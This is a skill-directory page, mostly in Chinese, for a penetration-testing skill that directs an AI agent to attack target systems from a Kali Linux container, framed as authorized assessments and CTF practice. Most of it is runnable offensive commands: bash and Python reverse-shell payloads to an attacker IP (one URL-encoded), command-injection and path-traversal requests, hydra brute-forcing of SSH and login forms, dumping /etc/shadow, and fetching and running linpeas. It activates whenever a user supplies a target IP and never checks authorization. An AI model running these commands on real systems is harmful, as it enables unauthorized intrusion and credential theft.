mcpField
P
penetration-testing

penetration-testing

github.com/timsonner安全143 次安装31 周前更新
代码仓库

关于 penetration-testing

这是一项面向在 Kali Linux MCP 服务环境中工作的 AI Agent 的渗透测试流程技能。它按阶段安排评估工作,强调记录操作、先研究再使用漏洞利用,并规定漏洞报告内容。

主要功能

  1. 01分阶段测试方法
  2. 02侦察与漏洞评估指引
  3. 03执行前研究漏洞利用
  4. 04记录命令与发现
  5. 05规范漏洞报告内容

适用场景

  1. 01规划获授权的安全评估
  2. 02记录发现的服务与漏洞
  3. 03尝试前评估漏洞利用方式
  4. 04编写侧重修复建议的评估报告

MCP 相关

该技能指导 AI Agent 在 Kali Linux MCP 服务环境中进行渗透测试,并提及检查容器状态及通过 Kali MCP 工具执行命令。

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/timsonner/autonomous-pentest-agent --skill penetration-testing

安装后在 Claude Code 中输入/penetration-testing确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

references/
ATTACK_PATTERNS.md
TOOLS_REFERENCE.md
scripts/
auto_enum.sh

详细介绍

渗透测试技能

此技能通过 Kali Linux MCP 服务环境,引导 AI Agent 执行专业的渗透测试工作流。

核心原则

  1. 始终记录操作 - 详细记录所有命令和发现
  2. 使用超时设置 - 网络命令必须设置超时,以防命令挂起
  3. 先安装工具 - 切勿假定容器中已预装工具
  4. 循序渐进 - 遵循结构化的测试方法
  5. 生成报告 - 最后务必提供全面的漏洞文档
  6. 利用漏洞前先了解清楚 - 在研究并充分了解漏洞的工作原理、作用和风险之前,绝不要部署漏洞利用程序

前置条件

开始任何评估之前:

# Verify Kali MCP container status
kali-container-status

# Install essential tools
kali-exec "apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional dnsutils curl wget"

测试方法

阶段 1:侦察

目标:识别所有攻击面、服务和潜在入口点。

关键步骤:

  1. 端口扫描:
# Quick scan of top ports
kali-exec "timeout 120s nmap -T4 --top-ports 1000 [TARGET_IP]"

# Full TCP scan with version detection
kali-exec "timeout 300s nmap -sV -sC -p- [TARGET_IP] -oN scan_results.txt"

# UDP scan (common ports)
kali-exec "timeout 300s nmap -sU --top-ports 100 [TARGET_IP]"
  1. 服务枚举:
# HTTP/HTTPS service identification
kali-exec "curl -m 10 -I http://[TARGET_IP]"

# Banner grabbing
kali-exec "timeout 5s nc -v [TARGET_IP] [PORT]"

# DNS enumeration if applicable
kali-exec "dig @[TARGET_IP] ANY"
  1. Web 应用发现(如果存在 Web 服务器):
# Install web tools
kali-exec "apt-get install -y gobuster nikto whatweb"

# Directory enumeration
kali-exec "timeout 600s gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt"

# Web vulnerability scan
kali-exec "timeout 300s nikto -h http://[TARGET_IP] -o nikto_results.txt"

# Technology identification
kali-exec "whatweb http://[TARGET_IP]"
  1. SMB/FTP 枚举(如适用):
# Install enum tools
kali-exec "apt-get install -y smbclient enum4linux"

# SMB enumeration
kali-exec "timeout 60s enum4linux -a [TARGET_IP]"
kali-exec "timeout 30s smbclient -L //[TARGET_IP] -N"

# FTP anonymous access check
kali-exec "timeout 10s ftp -n [TARGET_IP] <<EOF
quote USER anonymous
quote PASS anonymous
ls
quit
EOF"

文档记录:将发现的所有服务、版本和开放端口记录到 pentest_log.md。

阶段 2:漏洞评估

目标:识别已发现服务中可被利用的漏洞。

关键步骤:

  1. CVE 研究:
# Install searchsploit
kali-exec "apt-get install -y exploitdb"

# Search for known exploits
kali-exec "searchsploit [SERVICE_NAME] [VERSION]"
  1. 默认凭据测试:
# Common credentials for discovered services
# Web admin panels: admin/admin, admin/password
# SSH: root/root, admin/admin
# Database: root/(blank), postgres/postgres
  1. Web 漏洞测试(如适用):
# SQL Injection detection
kali-exec "curl -m 10 'http://[TARGET_IP]/page?id=1%27' | grep -i error"

# Command injection in parameters
kali-exec "curl -m 10 'http://[TARGET_IP]/endpoint?cmd=;id' | grep uid"

# Path traversal
kali-exec "curl -m 10 'http://[TARGET_IP]/file?path=../../../../etc/passwd'"

# LFI/RFI testing
kali-exec "curl -m 10 'http://[TARGET_IP]/page?file=../../../../../../../etc/passwd'"
  1. 自动化漏洞扫描:
# Install vulnerability scanners
kali-exec "apt-get install -y sqlmap wpscan"

# SQL injection with sqlmap
kali-exec "timeout 300s sqlmap -u 'http://[TARGET_IP]/page?id=1' --batch --level=2"

# WordPress scanning if applicable
kali-exec "timeout 300s wpscan --url http://[TARGET_IP] --enumerate u,p"

文档记录:将所有已识别的漏洞及其严重性评级记录到 pentest_log.md。

阶段 3:漏洞利用

目标:获取目标系统的初始访问权限。

⚠️ 重要:漏洞利用研究要求 尝试任何漏洞利用之前,你必须进行全面研究并充分了解该漏洞利用程序。切勿盲目部署漏洞利用程序。

关键步骤:

  1. 漏洞利用研究(强制要求):

使用任何漏洞利用程序之前,请完成以下研究清单:

  • 确定 CVE/Exploit-DB ID:明确要利用的具体漏洞
  • 了解漏洞类型:这属于哪种类型的缺陷?(缓冲区溢出、RCE、SQLi、反序列化等)
  • 阅读技术细节:从技术层面了解漏洞利用程序的工作原理
  • 验证目标兼容性:确认目标版本/配置存在漏洞
  • 了解有效载荷:明确将执行哪些代码及其影响
  • 确定前置条件:成功利用需要满足哪些条件?
  • 了解相关迹象:会留下哪些痕迹/日志?
  • 制定失败预案:如果漏洞利用失败会发生什么?服务会崩溃吗?

研究命令:

# Search for exploit details
kali-exec "searchsploit -x [EXPLOIT_ID]"  # Read the exploit code and comments

# Research CVE details
kali-exec "curl -s 'https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX' | jq ."

# Check exploit-db for writeups and details
kali-exec "searchsploit -w [EXPLOIT_ID]"  # Get Exploit-DB URL for full details

# Read exploit source code to understand mechanism
kali-exec "searchsploit -m [EXPLOIT_ID] && cat [EXPLOIT_FILE] | head -100"

记录你的理解: 继续操作之前,在 pentest_log.md 中记录:

  • 漏洞利用名称和 ID(CVE/EDB)
  • 漏洞类型及根本原因
  • 漏洞利用程序如何实现代码执行
  • 成功/失败时的预期行为
  • 针对目标环境需要进行的任何修改
  1. 漏洞利用准备:
# Download exploit if needed
kali-exec "wget -T 30 [EXPLOIT_URL] -O exploit.py"

# ALWAYS review exploit code before execution
kali-exec "cat exploit.py | head -50"  # Check exploit header/comments
kali-exec "grep -n 'payload\|shell\|cmd\|exec' exploit.py"  # Identify payload sections

# Make executable
kali-exec "chmod +x exploit.py"
  1. 反向 Shell 设置:
# Start netcat listener (in background, document the listener IP:PORT)
# Note: This requires separate terminal or background process management

# Common reverse shell payloads:
# Bash: bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
# Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. 执行漏洞利用:
# Use discovered vulnerability
kali-exec "timeout 60s python3 exploit.py [TARGET_IP] [PORT]"

# Or manual exploitation
kali-exec "curl -m 30 -X POST 'http://[TARGET_IP]/vulnerable_endpoint' -d 'param=[PAYLOAD]'"
  1. 利用后初始枚举:
# Stabilize shell
kali-exec "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"

# System information
kali-exec "uname -a"
kali-exec "cat /etc/*-release"

# Current user and privileges
kali-exec "id"
kali-exec "sudo -l"

文档记录:记录成功利用的方法、使用的有效载荷以及初始访问权限级别。

阶段 4:权限提升

目标:将初始访问权限提升至 root/管理员权限。

关键步骤:

  1. Linux 枚举:
# SUID binaries
kali-exec "find / -perm -4000 -type f 2>/dev/null"

# Writable files/directories
kali-exec "find / -writable -type f 2>/dev/null | grep -v proc"

# Cron jobs
kali-exec "cat /etc/crontab"
kali-exec "ls -la /etc/cron.*"

# Capabilities
kali-exec "getcap -r / 2>/dev/null"
  1. 凭据搜寻:
# Search for credentials in common locations
kali-exec "grep -r 'password' /home /var/www /opt 2>/dev/null | head -20"

# Bash history
kali-exec "cat ~/.bash_history"
kali-exec "cat /home/*/.bash_history 2>/dev/null"

# Configuration files
kali-exec "find /etc /var /opt -name '*.conf' -o -name '*.cfg' 2>/dev/null"

# Database credentials
kali-exec "cat /var/www/html/config.php 2>/dev/null"
  1. 自动化枚举(如可上传工具):
# Download LinPEAS
kali-exec "wget -T 30 https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh"
kali-exec "chmod +x /tmp/linpeas.sh"
kali-exec "timeout 120s /tmp/linpeas.sh"
  1. 常见权限提升技术:
# GTFOBins - SUID binary exploitation
# Example: if find has SUID
kali-exec "find . -exec /bin/sh -p \\; -quit"

# Sudo exploitation
# Check if sudo version is vulnerable
kali-exec "sudo --version"

# Kernel exploits (check version first)
kali-exec "searchsploit linux kernel [VERSION]"

文档记录:记录权限提升途径、使用的命令以及最终获得的访问权限级别。

阶段 5:完成目标

目标:获取 flag、敏感数据或完成任务目标。

关键步骤:

  1. 发现 Flag:
# Common flag locations
kali-exec "find / -name 'user.txt' -o -name 'flag.txt' -o -name 'root.txt' 2>/dev/null"

# Search in home directories
kali-exec "cat /home/*/user.txt 2>/dev/null"
kali-exec "cat /root/root.txt 2>/dev/null"

# Search by content pattern
kali-exec "grep -r 'flag{' / 2>/dev/null"
  1. 数据外传(如已获授权):
# Document sensitive files found
kali-exec "ls -la /etc/shadow /etc/passwd"

# Dump hashes if root
kali-exec "cat /etc/shadow"

文档记录:记录发现的所有 flag、其位置及访问方式。

报告生成

完成评估后,生成一份全面的漏洞报告。

报告必备章节

创建名为 vulnerability_report.md 的文件,并采用以下结构:

1. 执行摘要
  • 高层次的发现概述
  • 整体安全状况评估
  • 业务影响摘要
  • 风险评级(严重/高/中/低)
2. 范围与方法
  • 目标信息(IP 地址、域名)
  • 测试时间范围
  • 使用的工具
  • 遵循的测试方法
3. 详细发现

对于发现的每个漏洞,请包含:

  • 漏洞标题:清晰、具体的名称
  • 严重程度:严重/高/中/低
  • CVSS 评分:如适用
  • 受影响组件:服务、端口或应用程序
  • 描述:漏洞的技术说明
  • 概念验证:用于复现的准确命令/步骤
  • 影响:攻击者可能实现的目标
  • 修复措施:修复漏洞的具体步骤
  • 参考资料:CVE 编号、exploit-db 链接等
4. 技术附录
  • 来自 pentest_log.md 的完整命令历史
  • 网络图(如适用)
  • 截图或命令输出
  • 发现的凭据(在报告中脱敏)
5. 建议
  • 按优先级排序的修复计划
  • 安全加固指南
  • 监控与检测建议
报告模板
# Vulnerability Assessment Report

## Executive Summary
[High-level overview of findings and risk]

## Scope
- **Target**: [IP/Domain]
- **Date**: [Assessment Date]
- **Tester**: AI Security Agent
- **Methodology**: OWASP Testing Guide, PTES

## Findings Summary
| Severity | Count |
|----------|-------|
| Critical | X |
| High | X |
| Medium | X |
| Low | X |

## Detailed Findings

### Finding 1: [Vulnerability Name]
**Severity**: Critical
**CVSS**: 9.8
**Affected Component**: [Service/Port]

**Description**:
[Technical explanation]

**Proof of Concept**:
```bash
[Commands used]

影响: [攻击者可以实现的目标]

修复措施: [如何修复]

参考资料:

[对每项发现重复以上内容]

技术详情

[完整命令历史和输出]

建议

  1. [优先级 1 行动]
  2. [优先级 2 行动] ...

## Common Pitfalls to Avoid

1. **Hanging Commands**: Always use timeouts
   - ❌ `nc [IP] [PORT]`
   - ✅ `timeout 5s nc [IP] [PORT]`

2. **Assuming Tool Availability**: Always install first
   - ❌ `nmap [TARGET]`
   - ✅ `apt-get install -y nmap && nmap [TARGET]`

3. **Incomplete Logging**: Document everything
   - Log successful AND failed attempts
   - Note reasoning for each action
   - Track all credentials discovered

4. **Premature Optimization**: Be thorough before exploiting
   - Complete enumeration before attacking
   - Try multiple approaches
   - Don't fixate on one attack vector

5. **Blind Exploitation**: NEVER run an exploit without understanding it
   - ❌ Download exploit and run immediately
   - ✅ Research CVE, read exploit code, understand mechanism, then execute
   - Always know: What vulnerability? How does it work? What does the payload do?
   - Read exploit source code comments and documentation first
   - Verify target version matches exploit requirements

## Advanced Techniques

### Custom Script Development

When existing tools don't work, create custom scripts:

```bash
# Python port scanner
kali-exec "cat > /tmp/scanner.py << 'EOF'
import socket
import sys

target = sys.argv[1]
for port in [21,22,23,25,80,443,3306,8080]:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f'Port {port}: OPEN')
    sock.close()
EOF"

kali-exec "python3 /tmp/scanner.py [TARGET_IP]"
密码攻击
# Install Hydra
kali-exec "apt-get install -y hydra"

# SSH brute force with common passwords
kali-exec "timeout 300s hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]"

# HTTP form brute force
kali-exec "timeout 300s hydra -l admin -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'"
横向移动与隧道
# Discover internal networks
kali-exec "ip route"
kali-exec "cat /etc/hosts"

# Port forwarding for access to internal services
# (Requires persistent shell session)

成功指标

满足以下条件即表示渗透测试成功:

  • 已记录全面的枚举数据
  • 已记录发现的所有漏洞
  • 已通过概念验证演示成功利用
  • 已实现权限提升(如可行)
  • 已完成目标(找到 flag、访问数据)
  • 已保留完整的命令历史
  • 已生成专业的漏洞报告

快速参考

必备单行命令
# Install base toolkit
apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional curl wget exploitdb

# Quick recon
nmap -T4 -p- [TARGET] && curl -m 10 -I http://[TARGET]

# Web directory scan
gobuster dir -u http://[TARGET] -w /usr/share/wordlists/dirb/common.txt -t 50

# Search exploits
searchsploit [SERVICE] [VERSION]

# Python reverse shell (URL encoded)
python%20-c%20%27import%20socket,subprocess,os;s=socket.socket();s.connect((%22[IP]%22,[PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([%22/bin/sh%22,%22-i%22])%27

# SUID find
find / -perm -4000 2>/dev/null

# Writable directories
find / -writable -type d 2>/dev/null

更多资源

如需深入了解技术细节,请参阅:

技能激活

在以下情况下应激活此技能:

  • 用户提到“渗透测试”“pentest”或“安全评估”
  • 用户提到“CTF”“hack the box”或“try hack me”
  • 用户提供目标 IP,或要求进行安全测试
  • 用户提到“漏洞扫描”或“漏洞利用”
  • 用户要求查找 flag 或获取 root 权限
  • 用户提到 Kali Linux 或安全工具

激活后,请按顺序遵循各方法阶段,并在整个评估过程中保留详细日志。

评论

支持 Markdown